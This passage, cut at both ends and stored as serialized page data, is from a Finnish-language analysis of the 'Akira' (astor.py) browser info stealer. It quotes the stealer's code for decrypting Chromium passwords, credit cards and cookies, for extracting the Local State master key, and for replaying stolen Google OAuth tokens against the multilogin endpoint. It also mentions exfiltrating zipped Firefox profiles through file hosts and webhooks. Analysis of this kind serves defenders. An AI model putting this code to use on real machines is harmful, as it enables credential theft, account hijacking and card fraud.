ydintavoitteista on selaimeen tallennetun arkaluonteisen datan laajamittainen poiminta. Haittaohjelma toteuttaa räätälöityjä moduuleja, jotka kohdistuvat sekä ",[540,6145,6146],{},"Chromium-pohjaisiin"," että ",[540,6149,6150],{},"Gecko-pohjaisiin (Firefox)"," selaimiin. Sen kyvykkyyksiin kuuluu tallennettujen salasanojen, evästeiden, luottokorttitietojen, automaattisen täytön merkintöjen ja jopa istuntotokenien poiminta ja salauksen purku, ja näitä tokeneja voidaan käyttää uudelleen täyteen tilin kaappaukseen.",[533,6153,6154],{},[540,6155,6156],{},"1. Työtilan pystytys",[588,6158,6160],{"className":4503,"code":6159,"language":4505,"meta":594,"style":594},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[551,6161,6162,6167,6172,6177],{"__ignoreMap":594},[1691,6163,6164],{"class":1693,"line":1694},[1691,6165,6166],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1691,6168,6169],{"class":1693,"line":2070},[1691,6170,6171],{},"os.makedirs(client_dir, exist_ok=True)\n",[1691,6173,6174],{"class":1693,"line":2076},[1691,6175,6176],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1691,6178,6179],{"class":1693,"line":2082},[1691,6180,6181],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[604,6183,6184,6191,6194,6197,6200],{},[607,6185,6186,6187],{},"Luo kertakäyttöisen vaiheistusalueen järjestelmän väliaikaishakemiston alle, uhrin koneen mukaan nimettynä (%TEMP%\\DESKTOP-",[6188,6189,6190],"hostname",{},"), mikä varmistaa, että kaikki exfiltroidut artefaktit kootaan yhteen helposti arkistoitavaan sijaintiin.",[607,6192,6193],{},"Eristää datan tyypeittäin: kuusi omaa alikansiota (Passwords, Cookies, CreditCards, History, Autofill, Wallets) estävät nimeämiskonfliktit ja yksinkertaistavat myöhempää zippaamista—jokainen poimintarutiini kirjoittaa vain omaan kansioonsa.",[607,6195,6196],{},"Idempotentti hakemiston luonti käyttää exist_ok=True -asetusta, joten jos haittaohjelma suoritetaan uudelleen (esim. uudelleenkäynnistyksen tai persistencen yhteydessä), se ei kaadu eikä ylikirjoita olemassa olevaa dataa—uudet kohteet vain lisätään samaan rakenteeseen.",[607,6198,6199],{},"Helpottaa valikoivaa siivousta: kun lataus ja ilmoitus ovat valmiit, stealer voi kutsua Utils.clear_client_folder()-funktiota poistaakseen rekursiivisesti vain oman työtilansa jättämättä jälkitiedostoja.",[607,6201,6202],{},"Luo pohjan rinnakkaisille poimintasäikeille: esiluomalla kaikki kohteet taustasäikeet, jotka keräävät selaimien tunnistetietoja, evästeitä, automaattisen täytön tietoja, kryptolompakkodataa jne., voivat kirjoittaa tulokset välittömästi ilman lisätarkistuksia, mikä minimoi yleiskustannukset ja pienentää ikkunaa, jossa puolustavat koukut voisivat havaita odottamattoman tiedosto-I/O:n.",[533,6204,6205],{},[540,6206,6207],{},"2. Tuetut selaimet",[604,6209,6210,6253],{},[607,6211,6212,6215],{},[540,6213,6214],{},"Chromium‑pohjaiset",[604,6216,6217,6220,6223,6226,6229,6232,6235,6238,6241,6244,6247,6250],{},[607,6218,6219],{},"Google Chrome (Stable & SxS)",[607,6221,6222],{},"Microsoft Edge",[607,6224,6225],{},"Brave Browser",[607,6227,6228],{},"Opera & Opera GX",[607,6230,6231],{},"Chromium",[607,6233,6234],{},"Comodo Dragon",[607,6236,6237],{},"Epic Privacy Browser",[607,6239,6240],{},"Iridium Browser",[607,6242,6243],{},"UR Browser",[607,6245,6246],{},"Vivaldi Browser",[607,6248,6249],{},"Yandex Browser",[607,6251,6252],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[607,6254,6255,6258,6259,6262,6263,6274,6276,6277,6286,6288,6289,620,6292,6295],{},[540,6256,6257],{},"Firefox‑pohjaiset"," (",[551,6260,6261],{},"GeckoDriver","-työkalun kautta)",[604,6264,6265,6268,6271],{},[607,6266,6267],{},"Mozilla Firefox",[607,6269,6270],{},"Waterfox",[607,6272,6273],{},"Pale Moon",[701,6275],{},"Akira paikantaa käyttäjäprofiilit dynaamisesti ympäristömuuttujien ja tunnettujen hakemistorakenteiden avulla:",[588,6278,6280],{"className":4503,"code":6279,"language":4505,"meta":594,"style":594},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[551,6281,6282],{"__ignoreMap":594},[1691,6283,6284],{"class":1693,"line":1694},[1691,6285,6279],{},[701,6287],{},"Se tarkistaa rekursiivisesti saatavilla olevat selainprofiilit (esim. ",[551,6290,6291],{},"Default",[551,6293,6294],{},"Profile 1"," jne.) ja kohdistuu näiden polkujen sisällä oleviin SQLite-tietokantoihin.",[870,6297,6299],{"id":6298},"_741-poimitut-datatyypit","7.4.1 Poimitut datatyypit",[533,6301,876],{},[1403,6303,4693,6304],{},[1419,6305,6306,4693,6319,4693,6332,4693,6345,4693,6357,4693,6369,4693,6380],{},[1409,6307,4698,6308,4698,6312,4698,6316,4693],{},[1412,6309,6311],{"style":6310},"text-align: left; width: 22%;","Datatyyppi",[1412,6313,6315],{"style":6314},"text-align: left; width: 28%;","Lähdetiedosto",[1412,6317,6318],{},"Huomautukset",[1409,6320,4698,6321,4698,6324,4698,6329,4693],{},[1424,6322,6323],{},"Tallennetut salasanat",[1424,6325,6326,6328],{},[551,6327,557],{}," (Chromium)",[1424,6330,6331],{},"Puretaan DPAPI:n tai AES-GCM:n avulla (Chromium v80:n jälkeen)",[1409,6333,4698,6334,4698,6337,4698,6342,4693],{},[1424,6335,6336],{},"Evästeet",[1424,6338,6339],{},[551,6340,6341],{},"Cookies",[1424,6343,6344],{},"Voivat sisältää istuntotokeneja, erityisesti Google-/Facebook-tileille",[1409,6346,4698,6347,4698,6350,4698,6354,4693],{},[1424,6348,6349],{},"Automaattisen täytön data",[1424,6351,6352],{},[551,6353,561],{},[1424,6355,6356],{},"Osoitteet, sähköpostit, puhelinnumerot jne.",[1409,6358,4698,6359,4698,6362,4698,6366,4693],{},[1424,6360,6361],{},"Luottokortit",[1424,6363,6364],{},[551,6365,561],{},[1424,6367,6368],{},"Salattu; vaatii pääavaimen",[1409,6370,4698,6371,4698,6374,4698,6377,4693],{},[1424,6372,6373],{},"Istuntotokenit",[1424,6375,6376],{},"Muistissa ja evästeissä",[1424,6378,6379],{},"Sisältää Gmailin, Google-tilit ja Discord OAUTH -replayn",[1409,6381,4698,6382,4698,6385,4698,6393,4693],{},[1424,6383,6384],{},"Historia ja URL:t",[1424,6386,6387,620,6390],{},[551,6388,6389],{},"History",[551,6391,6392],{},"Visited Links",[1424,6394,6395],{},"Exfiltroitiin nekin hyökkääjälle",[835,6397],{"className":6398},[838,839],[533,6400,6401,6404],{},[540,6402,6403],{},"3. Poimintamoduulit","\nKun haittaohjelmien tekijät kohdistavat toimintansa selaimiin, heidän ensisijaisia aarrearkkujaan ovat erilaiset SQLite-tietokannat, joihin Chrome, Firefox ja niiden sukulaiset tallentavat tunnistetiedot, evästeet, historian ja automaattisen täytön merkinnät. astor.py yhdistää kevyen Pythonin ja natiivit API-rajapinnat kootakseen järjestelmällisesti jokaisen datapalasen—ja jopa toistaakseen live-OAuth-istuntoja—jälkiä jättämättä. Alla on perusteellinen, moduuli moduulilta etenevä kierros, sanatarkasti koodista.",[870,6406,6408,6409,1122],{"id":6407},"_742-salasanadumppaaja-chromiumgetpasswords","7.4.2 Salasanadumppaaja (",[551,6410,6411],{},"Chromium.GetPasswords",[533,6413,876],{},[533,6415,6416],{},"Tämä moduuli käy järjestelmällisesti läpi kaikki Chromium-pohjaisten selaimien profiilit poimiakseen tallennetut kirjautumistiedot. Kohdistumalla Login Data -SQLite-tietokantaan se hakee käyttäjätunnukset ja salatut salasanat ja purkaa ne sitten selkokielisiksi alustan salausavaimella (haettu DPAPI:n tai AES-GCM:n kautta). Nämä tunnistetiedot ovat erittäin arvokkaita murron jälkeisessä sivuttaisliikkeessä tai tilin haltuunotossa.",[588,6418,6420],{"className":4503,"code":6419,"language":4505,"meta":594,"style":594},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[551,6421,6422,6427,6432,6437,6442,6447,6452,6457,6462,6467],{"__ignoreMap":594},[1691,6423,6424],{"class":1693,"line":1694},[1691,6425,6426],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1691,6428,6429],{"class":1693,"line":2070},[1691,6430,6431],{},"    for file in files:\n",[1691,6433,6434],{"class":1693,"line":2076},[1691,6435,6436],{},"        if file.lower() == \"login data\":\n",[1691,6438,6439],{"class":1693,"line":2082},[1691,6440,6441],{},"            # Copy DB → open → extract rows\n",[1691,6443,6444],{"class":1693,"line":2406},[1691,6445,6446],{},"            results = cursor.execute(\n",[1691,6448,6449],{"class":1693,"line":2412},[1691,6450,6451],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1691,6453,6454],{"class":1693,"line":3070},[1691,6455,6456],{},"            ).fetchall()\n",[1691,6458,6459],{"class":1693,"line":3866},[1691,6460,6461],{},"            for url, user, pwd_blob in results:\n",[1691,6463,6464],{"class":1693,"line":3872},[1691,6465,6466],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1691,6468,6469],{"class":1693,"line":4118},[1691,6470,6471],{},"                passwords.append((url, user, clear_pwd))\n",[604,6473,6474,6487,6493,6501,6518],{},[607,6475,6476,6479,6480,6482,6483,6486],{},[540,6477,6478],{},"Paikantaa"," jokaisen ",[551,6481,557],{}," -SQLite-tietokannan selaimen ",[551,6484,6485],{},"User Data"," -kansion alta.",[607,6488,6489,6492],{},[540,6490,6491],{},"Kopioi"," väliaikaistiedostoon välttääkseen selaimen lukot.",[607,6494,6495,981,6498,699],{},[540,6496,6497],{},"SQL-kysely",[551,6499,6500],{},"SELECT origin_url, username_value, password_value FROM logins",[607,6502,6503,6479,6506,6509,6510,6513,6514,6517],{},[540,6504,6505],{},"Purkaa",[551,6507,6508],{},"password_value","-möykyn salauksen AES‑GCM:llä (",[551,6511,6512],{},"v10","/",[551,6515,6516],{},"v11",") tai Windowsin DPAPI-varajärjestelyllä.",[607,6519,6520,6523,6524,699],{},[540,6521,6522],{},"Kirjoittaa"," tulosteen tiedostoon ",[551,6525,6526],{},"Passwords/\u003CBrowserName> Passwords.txt",[870,6528,6530,6531,1122],{"id":6529},"_743-luottokorttidumppaaja-chromiumgetcreditcards","7.4.3 Luottokorttidumppaaja (",[551,6532,6533],{},"Chromium.GetCreditCards",[533,6535,876],{},[533,6537,6538],{},"Tässä stealer avaa tallennetut luottokorttitiedot jokaisen selainprofiilin Web Data -tiedostosta. Se keskittyy poimimaan voimassaolotiedot ja salatut luottokorttinumerot, jotka puretaan sitten samalla logiikalla kuin salasanat. Vaikka CVV-koodeja ei tyypillisesti tallenneta, palautettuja tietoja voidaan silti väärinkäyttää card-not-present-petoksiin.",[588,6540,6542],{"className":4503,"code":6541,"language":4505,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[551,6543,6544,6549,6554,6559,6564,6569],{"__ignoreMap":594},[1691,6545,6546],{"class":1693,"line":1694},[1691,6547,6548],{},"results = cursor.execute(\n",[1691,6550,6551],{"class":1693,"line":2070},[1691,6552,6553],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1691,6555,6556],{"class":1693,"line":2076},[1691,6557,6558],{},").fetchall()\n",[1691,6560,6561],{"class":1693,"line":2082},[1691,6562,6563],{},"for month, year, enc_cc in results:\n",[1691,6565,6566],{"class":1693,"line":2406},[1691,6567,6568],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1691,6570,6571],{"class":1693,"line":2412},[1691,6572,6573],{},"    ccs.append((cc_number, month, year))\n",[604,6575,6576,6585,6592,6600],{},[607,6577,6578,6581,6582,6584],{},[540,6579,6580],{},"Kohdistuu"," jokaisen profiilin alla oleviin ",[551,6583,561],{}," -SQLite-varastoihin.",[607,6586,6587,981,6589,699],{},[540,6588,6497],{},[551,6590,6591],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[607,6593,6594,2036,6596,6599],{},[540,6595,6505],{},[551,6597,6598],{},"card_number_encrypted","-kentän täsmälleen kuten salasanamöykyt.",[607,6601,6602,6605,6606,699],{},[540,6603,6604],{},"Tulostaa"," tiedostoon ",[551,6607,6608],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[870,6610,6612,6613,1122],{"id":6611},"_744-evästedumppaaja-chromiumgetcookies","7.4.4 Evästedumppaaja (",[551,6614,6615],{},"Chromium.GetCookies",[533,6617,876],{},[533,6619,6620],{},"Evästeet, erityisesti istuntoevästeet, ovat ensisijaisia kohteita tilin kaappaukseen ilman salasanoja. Tämä moduuli dumppaa kaikki evästetiedostot profiileista, purkaa niiden salauksen ja kerää olennaiset metatiedot, kuten verkkotunnuksen, nimen ja voimassaolon. Sormenjälkien kanssa yhdistettynä nämä evästeet voivat mahdollistaa saumattomat replay-hyökkäykset todennettuihin palveluihin.",[588,6622,6624],{"className":4503,"code":6623,"language":4505,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[551,6625,6626,6630,6635,6639,6644,6649],{"__ignoreMap":594},[1691,6627,6628],{"class":1693,"line":1694},[1691,6629,6548],{},[1691,6631,6632],{"class":1693,"line":2070},[1691,6633,6634],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1691,6636,6637],{"class":1693,"line":2076},[1691,6638,6558],{},[1691,6640,6641],{"class":1693,"line":2082},[1691,6642,6643],{},"for host, name, path, blob, expiry in results:\n",[1691,6645,6646],{"class":1693,"line":2406},[1691,6647,6648],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1691,6650,6651],{"class":1693,"line":2412},[1691,6652,6653],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[604,6655,6656,6664,6673,6681],{},[607,6657,6658,6479,6661,6663],{},[540,6659,6660],{},"Skannaa",[551,6662,6341],{}," -SQLite-tietokannan.",[607,6665,6666,6669,6670,699],{},[540,6667,6668],{},"Valitsee"," kentät ",[551,6671,6672],{},"host_key, name, path, encrypted_value, expires_utc",[607,6674,6675,6479,6677,6680],{},[540,6676,6505],{},[551,6678,6679],{},"encrypted_value","-möykyn paljastaakseen varsinaisen evästemerkkijonon.",[607,6682,6683,6605,6686,699],{},[540,6684,6685],{},"Tallentaa",[551,6687,6688],{},"Cookies/\u003CBrowserName> Cookies.txt",[870,6690,6692,6693,1122],{"id":6691},"_745-google-istuntodumppaaja-chromiumdump_google_sessions","7.4.5 Google-istuntodumppaaja (",[551,6694,6695],{},"Chromium.dump_google_sessions",[533,6697,876],{},[533,6699,6700],{},"Yksi kehittyneemmistä komponenteista, tämä rutiini purkaa token_service-taulusta tallennetut OAuth-tokenit. Toistamalla ne Googlen multilogin-päätepisteen kautta haittaohjelma voi regeneroida aktiivisia istuntoevästeitä—jolloin hyökkääjät voivat kaapata Google-tilejä ilman tunnistetietoja. Tämä havainnollistaa, miten pääsytokeneista on tullut ensisijaisia kohteita nykyaikaisissa stealereissa.",[588,6702,6704],{"className":4503,"code":6703,"language":4505,"meta":594,"style":594},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[551,6705,6706,6711,6716,6721,6726,6731,6736,6741,6746,6751,6756,6761,6765],{"__ignoreMap":594},[1691,6707,6708],{"class":1693,"line":1694},[1691,6709,6710],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1691,6712,6713],{"class":1693,"line":2070},[1691,6714,6715],{},"for service, blob in cursor.fetchall():\n",[1691,6717,6718],{"class":1693,"line":2076},[1691,6719,6720],{},"    iv = blob[3:15]\n",[1691,6722,6723],{"class":1693,"line":2082},[1691,6724,6725],{},"    ciphertext = blob[15:-16]\n",[1691,6727,6728],{"class":1693,"line":2406},[1691,6729,6730],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1691,6732,6733],{"class":1693,"line":2412},[1691,6734,6735],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1691,6737,6738],{"class":1693,"line":3070},[1691,6739,6740],{},"    # Replays via POST to OAuth endpoint\n",[1691,6742,6743],{"class":1693,"line":3866},[1691,6744,6745],{},"    response = requests.post(\n",[1691,6747,6748],{"class":1693,"line":3872},[1691,6749,6750],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1691,6752,6753],{"class":1693,"line":4118},[1691,6754,6755],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1691,6757,6758],{"class":1693,"line":5037},[1691,6759,6760],{},"        data={\"source\": \"com.google.Drive\"}\n",[1691,6762,6763],{"class":1693,"line":5043},[1691,6764,5967],{},[1691,6766,6767],{"class":1693,"line":5049},[1691,6768,6769],{},"    save each account’s cookies to file\n",[604,6771,6772,6788,6798,6808],{},[607,6773,6774,2036,6777,6780,6781,6784,6785,6787],{},[540,6775,6776],{},"Hakee",[551,6778,6779],{},"service","-kentän ja raa'an ",[551,6782,6783],{},"encrypted_token","-arvon ",[551,6786,561],{},"-kloonista.",[607,6789,6790,6793,6794,6797],{},[540,6791,6792],{},"AES‑GCM-salauksenpurku"," selaimen ",[551,6795,6796],{},"Local State"," -avaimella.",[607,6799,6800,6803,6804,6807],{},[540,6801,6802],{},"Toistaa"," puretut tokenit POST-pyyntönä Googlen ",[551,6805,6806],{},"multilogin","-API:in kelvollisten OAuth-evästeiden rekonstruoimiseksi.",[607,6809,6810,6812,6813,699],{},[540,6811,6522],{}," tilikohtaiset istuntotiedostot polkuun ",[551,6814,6815],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[870,6817,6819,6820,1122],{"id":6818},"_746-historiadumppaaja-chromiumgethistory","7.4.6 Historiadumppaaja (",[551,6821,6822],{},"Chromium.GetHistory",[533,6824,876],{},[533,6826,6827],{},"Tämä funktio poimii selaushistorian merkinnät, mukaan lukien URL:n, otsikon ja käyntitiheyden. Yksityisyyden loukkauksen lisäksi tämä data auttaa hyökkääjiä ymmärtämään uhrin käyttäytymistä, tunnistamaan arvokkaita kohteita (esim. pankkiportaalit) tai räätälöimään sosiaalisen manipuloinnin payloadeja.",[588,6829,6831],{"className":4503,"code":6830,"language":4505,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[551,6832,6833,6837,6842,6846,6851],{"__ignoreMap":594},[1691,6834,6835],{"class":1693,"line":1694},[1691,6836,6548],{},[1691,6838,6839],{"class":1693,"line":2070},[1691,6840,6841],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1691,6843,6844],{"class":1693,"line":2076},[1691,6845,6558],{},[1691,6847,6848],{"class":1693,"line":2082},[1691,6849,6850],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1691,6852,6853],{"class":1693,"line":2406},[1691,6854,6855],{},"return [(url, title, count) for url, title, count, _ in history]\n",[604,6857,6858,6869,6879],{},[607,6859,6860,6669,6862,6865,6866,6868],{},[540,6861,6668],{},[551,6863,6864],{},"url, title, visit_count, last_visit_time"," jokaisesta ",[551,6867,6389],{},"-tietokannasta.",[607,6870,6871,6874,6875,6878],{},[540,6872,6873],{},"Lajittelee"," merkinnät ",[551,6876,6877],{},"last_visit_time","-kentän mukaan laskevasti.",[607,6880,6881,6883,6884,699],{},[540,6882,6604],{}," tiedoston ",[551,6885,6886],{},"History/\u003CBrowserName> History.txt",[870,6888,6890,6891,1122],{"id":6889},"_747-automaattisen-täytön-dumppaaja-chromiumgetautofills","7.4.7 Automaattisen täytön dumppaaja (",[551,6892,6893],{},"Chromium.GetAutofills",[533,6895,876],{},[533,6897,6898],{},"Automaattisen täytön merkinnät—kuten osoitteet, nimet, sähköpostit ja joskus maksuihin liittyvä data—kaavitaan selaimen Web Data -varastosta. Nämä arvot eivät ehkä vaikuta kriittisiltä, mutta yhteen koottuina ne tarjoavat rikkaan profiilin uhrin identiteetistä ja käyttäytymisestä.",[588,6900,6902],{"className":4503,"code":6901,"language":4505,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[551,6903,6904,6908,6913,6917,6922],{"__ignoreMap":594},[1691,6905,6906],{"class":1693,"line":1694},[1691,6907,6548],{},[1691,6909,6910],{"class":1693,"line":2070},[1691,6911,6912],{},"    \"SELECT name, value FROM autofill\"\n",[1691,6914,6915],{"class":1693,"line":2076},[1691,6916,6558],{},[1691,6918,6919],{"class":1693,"line":2082},[1691,6920,6921],{},"for field, value in results:\n",[1691,6923,6924],{"class":1693,"line":2406},[1691,6925,6926],{},"    autofills.append((field.strip(), value.strip()))\n",[604,6928,6929,6941],{},[607,6930,6931,6933,6934,2036,6937,6940],{},[540,6932,6776],{}," lomakkeentäyttömerkinnät: ",[551,6935,6936],{},"name, value",[551,6938,6939],{},"web data","-tiedostosta.",[607,6942,6943,6945,6946,699],{},[540,6944,6522],{}," ulos tiedostoon ",[551,6947,6948],{},"Autofill/\u003CBrowserName> Autofill.txt",[870,6950,6952,6953,6955,6956,1122],{"id":6951},"_748-firefox-profiilin-sieppaaja-geckodriver-grabfirefoxprofiles","7.4.8 Firefox-profiilin sieppaaja (",[551,6954,6261],{}," & ",[551,6957,6958],{},"grabFirefoxProfiles",[533,6960,876],{},[533,6962,6963],{},"Toisin kuin yksityiskohtaiset Chromium-rutiinit, tämä funktio valitsee laajan lähestymistavan: se pakkaa koko Firefox-profiilihakemiston—mukaan lukien tallennetut kirjautumistiedot, evästeet ja kirjanmerkit—ja exfiltroi sen kokonaisuudessaan. Tämä varmistaa, että hyökkääjät voivat analysoida tai poimia dataa offline-tilassa ohittaen salauksenpurkuesteet tunnetulla NSS-työkaluilla.",[588,6965,6967],{"className":4503,"code":6966,"language":4505,"meta":594,"style":594},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[551,6968,6969,6974,6979,6984],{"__ignoreMap":594},[1691,6970,6971],{"class":1693,"line":1694},[1691,6972,6973],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1691,6975,6976],{"class":1693,"line":2070},[1691,6977,6978],{},"    for root, dirs, files in os.walk(source_path):\n",[1691,6980,6981],{"class":1693,"line":2076},[1691,6982,6983],{},"        zipf.write(each file)\n",[1691,6985,6986],{"class":1693,"line":2082},[1691,6987,6988],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[604,6990,6991,7001,7011],{},[607,6992,6993,6996,6997,7000],{},[540,6994,6995],{},"Zippaa"," koko ",[551,6998,6999],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles"," -hakemiston.",[607,7002,7003,7006,7007,7010],{},[540,7004,7005],{},"Nimeää"," sen ",[551,7008,7009],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," ja lähettää latauslinkin samojen webhook-kanavien kautta.",[607,7012,7013,7016,7017,620,7020,620,7023,7026],{},[540,7014,7015],{},"Kutsuu"," myös samoja SQLite-pohjaisia poimintafunktioita (",[551,7018,7019],{},"logins.json",[551,7021,7022],{},"cookies.sqlite",[551,7024,7025],{},"places.sqlite",") jokaista Firefox-profiilia vastaan käyttäen jo olemassa olevia NSS-salauksenpurkurutiineja.",[870,7028,7030],{"id":7029},"_749-poiminnan-yhteenveto","7.4.9 Poiminnan yhteenveto",[533,7032,876],{},[533,7034,7035,7036,620,7038,620,7040,620,7042,1264,7044,7047,7048,7051,7052,7054,7055,620,7057,1264,7059,7061,7062,7065],{},"Astor.py orkestroi kattavan selainmurron keräämällä järjestelmällisesti jokaisen tunnistetiedon ja istuntoartefaktin Chromium-pohjaisista ja Firefox-asiakkaista. Se paikantaa ja kopioi turvallisesti jokaisen SQLite-varaston—",[551,7037,557],{},[551,7039,561],{},[551,7041,6341],{},[551,7043,6389],{},[551,7045,7046],{},"autofill","—ja suorittaa sitten kohdennettuja SQL-kyselyjä poimiakseen URL:t, käyttäjätunnukset, salasanat, luottokorttitiedot, evästeet, selaushistorian ja lomakkeentäyttömerkinnät. Salasanat ja maksudata puretaan AES-GCM:llä (tai Windowsin DPAPI-varajärjestelyllä), ja evästeet puretaan vastaavasti selkokielisten arvojensa paljastamiseksi. Google-tileillä ",[551,7049,7050],{},"token_service","-taulun salatut OAuth-tokenit puretaan ja toistetaan ",[551,7053,6806],{},"-API:a vastaan live-istuntoevästeiden regeneroimiseksi. Lopuksi Firefox-profiilit arkistoidaan kokonaisuudessaan (mukaan lukien ",[551,7056,7019],{},[551,7058,7022],{},[551,7060,7025],{},") ja toimitetaan ZIP-tiedostoina, jottei yhtään artefaktia jää jälkeen. Tämä päästä päähän -putki toimii hiljaa polun ",[551,7063,7064],{},"%TEMP%\\\u003CComputerName>"," alla ja tuottaa siististi järjestellyt tulostetiedostot jokaiselle datakategorialle.",[721,7067,7069],{"id":7068},"_75-salauksenpurkulogiikka","7.5 Salauksenpurkulogiikka",[533,7071,727],{},[533,7073,7074],{},"Nykyaikaiset selaimet, kuten Chrome ja Edge, salaavat arkaluonteisen datan—kuten salasanat, evästeet ja luottokorttitiedot—ennen kuin tallentavat ne paikallisesti. Akira sisältää sisäänrakennetut salauksenpurkurutiinit, jotka on räätälöity käsittelemään sekä vanhoja että nykyisiä Chromiumin salausmenetelmiä. Tämä varmistaa, että se voi poimia selkokielistä dataa riippumatta järjestelmän päivitystasosta tai selaimen versiosta.",[533,7076,7077],{},"Tämän prosessin ytimessä on selaimen pääsalausavaimen poiminta ja purku, joka on tallennettu tiedostoon Local State. Selaimen version ja Windows-koontiversion mukaan Akira valitsee dynaamisesti sopivan salauksenpurkumenetelmän:",[533,7079,7080],{},"DPAPI (Data Protection API) on käytössä vanhemmissa järjestelmissä, joissa Chrome tallentaa salaisuudet nykyisen käyttäjän Windows-tunnistetiedoilla suojattuina.",[533,7082,7083],{},"AES-GCM on käytössä nykyaikaisissa Chromium-koontiversioissa, joissa satunnaisesti generoitu pääavain on itsessään salattu DPAPI:lla ja jota käytetään sitten käyttäjädatan sovelluksensisäiseen salaukseen.",[533,7085,7086],{},"Purkamalla ensin Local State -pääavaimen Akira saa kyvyn avata kaikki selaimen salaisuudet—raivaten tien tunnistetietojen, tokenien, evästeiden ja muun poimintaan.",[533,7088,7089],{},[540,7090,7091],{},"Avaimen poiminta",[588,7093,7095],{"className":4503,"code":7094,"language":4505,"meta":594,"style":594},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[551,7096,7097,7102,7107,7112],{"__ignoreMap":594},[1691,7098,7099],{"class":1693,"line":1694},[1691,7100,7101],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1691,7103,7104],{"class":1693,"line":2070},[1691,7105,7106],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1691,7108,7109],{"class":1693,"line":2076},[1691,7110,7111],{},"    local_state = json.load(f)\n",[1691,7113,7114],{"class":1693,"line":2082},[1691,7115,7116],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[533,7118,7119],{},[540,7120,7121],{},"Salauksen purku (AES-GCM):",[588,7123,7125],{"className":4503,"code":7124,"language":4505,"meta":594,"style":594},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[551,7126,7127,7132,7137,7142,7147],{"__ignoreMap":594},[1691,7128,7129],{"class":1693,"line":1694},[1691,7130,7131],{},"nonce = value[3:15]\n",[1691,7133,7134],{"class":1693,"line":2070},[1691,7135,7136],{},"ciphertext = value[15:-16]\n",[1691,7138,7139],{"class":1693,"line":2076},[1691,7140,7141],{},"tag = 